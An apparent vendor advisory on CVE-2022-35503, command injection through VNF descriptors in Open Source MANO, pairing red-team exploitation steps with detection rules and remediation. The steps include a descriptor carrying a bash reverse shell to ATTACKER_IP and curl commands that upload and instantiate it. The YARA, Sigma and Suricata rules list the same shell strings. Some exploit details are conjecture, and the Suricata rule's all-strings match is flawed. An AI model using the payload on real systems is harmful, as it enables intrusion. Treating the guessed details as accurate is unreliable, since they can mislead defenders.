CVE-2022-35503

Executive Summary

CVE-2022-35503 is a critical vulnerability in Open Source MANO (OSM) versions v7 through v12. The flaw resides in the improper verification of user input within a Virtual Network Function (VNF) descriptor. An authenticated attacker can exploit this to execute arbitrary code inside the LCM (Lifecycle Management) module container. This can lead to full compromise of the OSM components, exfiltration of confidential data, and lateral movement into other parts of a Telco Operator's infrastructure beyond OSM itself. No public exploit or patch is currently available, making this a high-priority zero-day for affected environments.

Supply Chain & Package Security

This vulnerability is not related to a specific package manager (NPM, PyPI, Go, Ruby). It affects the Open Source MANO platform, which is typically deployed as a set of Docker containers and services. The risk is to the operational integrity of the OSM deployment and the broader Telco infrastructure.

CVSS Breakdown & Threat Level

While no official CVSS vector is provided, based on the description and impact, the following is a reasonable assessment:

• Attack Vector (AV): Network (N) - The attack is performed over the network.
• Attack Complexity (AC): Low (L) - The vulnerability is triggered by providing a crafted VNF descriptor.
• Privileges Required (PR): Low (L) - An attacker must be authenticated to OSM.
• User Interaction (UI): None (N) - No user interaction is required beyond the attacker's actions.
• Scope (S): Changed (C) - The attack can impact resources beyond the LCM container, such as other OSM components and the Telco infrastructure.
• Confidentiality (C): High (H) - Confidential data can be retrieved.
• Integrity (I): High (H) - Arbitrary code execution allows modification of system state.
• Availability (A): High (H) - The attack can disrupt normal operations.

Estimated CVSS Score: 9.0 (Critical)

Threat Level: Critical. The vulnerability allows for remote code execution with low complexity, and the potential for lateral movement into critical Telco infrastructure.

Deep Dive & Mechanics

The vulnerability is rooted in the improper validation of user-supplied input within a VNF descriptor. VNF descriptors are used to define the characteristics and lifecycle of virtual network functions. The LCM module processes these descriptors to instantiate, configure, and manage VNFs.

Root Cause: The LCM module fails to sanitize or validate certain fields within the VNF descriptor. An attacker can inject malicious code or commands into these fields.

Attack Flow:

1. Authentication: The attacker gains authenticated access to the OSM platform (e.g., via compromised credentials, API keys, or a separate vulnerability).
2. Crafting the Payload: The attacker creates a malicious VNF descriptor. This descriptor contains specially crafted input in fields that are not properly validated. The payload could be:
   • Command Injection: Injecting shell commands into fields that are later executed by the LCM module.
   • Code Injection: Injecting Python or other scripting language code that is executed within the LCM container.
   • Path Traversal: Injecting paths to overwrite critical files or execute arbitrary binaries.
3. Deployment: The attacker uploads or triggers the deployment of this malicious VNF descriptor through the OSM API or GUI.
4. Execution: The LCM module processes the descriptor. Due to the lack of input validation, the injected payload is executed within the LCM container's context.
5. Post-Exploitation: Once code execution is achieved, the attacker can:
   • Execute arbitrary commands within the LCM container.
   • Access the container's filesystem and environment variables.
   • Use the container as a pivot point to attack other OSM components (e.g., the OSM database, message broker, or other microservices).
   • From there, potentially access the underlying Telco Operator's infrastructure (e.g., OpenStack, Kubernetes clusters, or other management networks).

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical comparison based on the vulnerability description.

Vulnerable Code (Conceptual):

# Vulnerable LCM module code
def process_vnf_descriptor(descriptor):
    # Directly using user input without validation
    command = descriptor['lifecycle_script']
    os.system(command)  # Command injection

Patched Code (Conceptual):

# Patched LCM module code
import shlex
import subprocess

def process_vnf_descriptor(descriptor):
    # Validate and sanitize input
    allowed_commands = ['start', 'stop', 'configure']
    user_command = descriptor.get('lifecycle_script', '')
    if user_command not in allowed_commands:
        raise ValueError("Invalid lifecycle script")
    # Use subprocess with a list to avoid shell injection
    subprocess.run([user_command], check=True)

Exploitation & Lab Setup

Red Team

Objective: Achieve remote code execution within the LCM container.

Prerequisites:

• Access to an OSM instance (v7-v12) with a user account that has permissions to onboard and instantiate VNFs.
• Knowledge of the OSM API (typically REST API on port 80/443).

Exploitation Steps:

1. Identify the API Endpoint: The VNF descriptor is typically uploaded via the POST /osm/vnfpkgm/v1/vnf_packages or similar endpoint.

2. Craft the Malicious Descriptor: Create a VNF descriptor (e.g., in YAML format) with a malicious payload in a field that is not validated. For example, in the vnf:lifecycle_management_script or a custom field.

   # malicious_vnf_descriptor.yaml
   vnf:
     id: malicious-vnf
     product-name: malicious-vnf
     version: '1.0'
     description: Malicious VNF
     lifecycle-management-script: |
       #!/bin/bash
       # This script will be executed by the LCM module
       # Reverse shell to attacker's machine
       bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
   

3. Upload the Descriptor: Use curl or a similar tool to upload the descriptor.

   curl -X POST -H "Authorization: Bearer <TOKEN>" -F "file=@malicious_vnf_descriptor.yaml" http://OSM_IP:PORT/osm/vnfpkgm/v1/vnf_packages
   

4. Instantiate the VNF: Trigger the instantiation of the malicious VNF.

   curl -X POST -H "Authorization: Bearer <TOKEN>" -H "Content-Type: application/json" -d '{"vnfPackageId": "<PACKAGE_ID>"}' http://OSM_IP:PORT/osm/nslcm/v1/ns_instances
   

5. Receive the Shell: The LCM module will execute the lifecycle script, establishing a reverse shell to the attacker's machine.

   nc -lvnp 4444
   

Blue Team

Objective: Detect and prevent exploitation of CVE-2022-35503.

Detection Steps:

1. Monitor VNF Descriptor Uploads: Log and alert on all VNF descriptor uploads. Pay special attention to descriptors containing unusual or suspicious content, such as shell commands, base64-encoded payloads, or references to external IPs.
2. Analyze LCM Container Activity: Monitor the LCM container for:
   • Execution of unexpected processes (e.g., bash, python, nc, curl).
   • Outbound network connections to unknown IPs (especially on non-standard ports).
   • File system modifications in unexpected locations.
3. Implement Input Validation: If possible, deploy a Web Application Firewall (WAF) or API gateway in front of OSM to inspect and block malicious VNF descriptors.
4. Network Segmentation: Ensure the LCM container is isolated from other critical components. Use network policies to restrict outbound traffic from the LCM container to only necessary services.
5. Audit User Accounts: Review user accounts with permissions to upload VNF descriptors. Ensure the principle of least privilege is applied.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound connections from the LCM container to suspicious IPs (e.g., attacker-controlled C2 servers).
  • Unusual DNS queries from the LCM container.
• File System IOCs:
  • Unexpected files in the LCM container's filesystem (e.g., /tmp/, /var/tmp/).
  • Modified system binaries or configuration files.
• Process IOCs:
  • Execution of bash, python, perl, nc, curl, wget from within the LCM container.
  • Child processes spawned by the LCM main process that are not part of the normal lifecycle.
• Log IOCs:
  • OSM API logs showing uploads of VNF descriptors with suspicious content.
  • LCM container logs showing errors or unexpected behavior.

Detection Engineering

YARA Rule

rule CVE_2022_35503_VNF_Descriptor_Malicious {
    meta:
        description = "Detects malicious VNF descriptors attempting to exploit CVE-2022-35503"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2022-35503"
    strings:
        $cmd1 = "bash -i >& /dev/tcp/" ascii wide nocase
        $cmd2 = "python -c 'import socket" ascii wide nocase
        $cmd3 = "exec(" ascii wide nocase
        $cmd4 = "system(" ascii wide nocase
        $cmd5 = "subprocess" ascii wide nocase
        $cmd6 = "os.system" ascii wide nocase
        $cmd7 = "eval(" ascii wide nocase
        $cmd8 = "base64" ascii wide nocase
    condition:
        any of ($cmd*) and filesize < 10MB
}

Sigma Rule

title: CVE-2022-35503 - Suspicious VNF Descriptor Upload
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects upload of VNF descriptors containing potential exploitation payloads for CVE-2022-35503
author: Valters IT
date: 2024-01-01
logsource:
    category: webserver
    product: osm
detection:
    selection:
        http.method: 'POST'
        http.url: '*/osm/vnfpkgm/v1/vnf_packages*'
    keywords:
        - 'bash -i'
        - 'python -c'
        - 'exec('
        - 'system('
        - 'subprocess'
        - 'os.system'
        - 'eval('
        - 'base64'
    condition: selection and keywords
falsepositives:
    - Legitimate use of scripting in VNF descriptors (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2022-35503 - Malicious VNF Descriptor Upload"; flow:to_server,established; content:"POST"; http_method; content:"/osm/vnfpkgm/v1/vnf_packages"; http_uri; content:"bash -i"; nocase; content:"python -c"; nocase; content:"exec("; nocase; content:"system("; nocase; content:"subprocess"; nocase; content:"os.system"; nocase; content:"eval("; nocase; content:"base64"; nocase; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate OSM: If possible, isolate the OSM platform from the production Telco infrastructure until a patch is available.
2. Restrict Access: Limit the number of users with permissions to upload VNF descriptors. Implement strict access controls and multi-factor authentication.
3. Monitor and Audit: Enable detailed logging for all VNF descriptor uploads and LCM module activities. Set up alerts for suspicious behavior.
4. Network Segmentation: Place the LCM container in a separate network segment with strict egress filtering. Only allow necessary outbound connections.

Long-Term Fixes:

1. Apply Patch: Monitor the Open Source MANO project for an official patch. Apply it as soon as it is released.
2. Input Validation: Implement robust input validation and sanitization for all user-supplied data in VNF descriptors. Use allowlists instead of blocklists.
3. Code Review: Conduct a thorough code review of the LCM module to identify and fix similar vulnerabilities.
4. Security Hardening: Harden the LCM container by removing unnecessary tools (e.g., compilers, debuggers, network tools). Use a minimal base image.

Workaround:

• If patching is not immediately possible, consider implementing a manual review process for all VNF descriptors before they are uploaded. This is not a scalable solution but can provide temporary protection.

Valters IT
Securing Digital Frontiers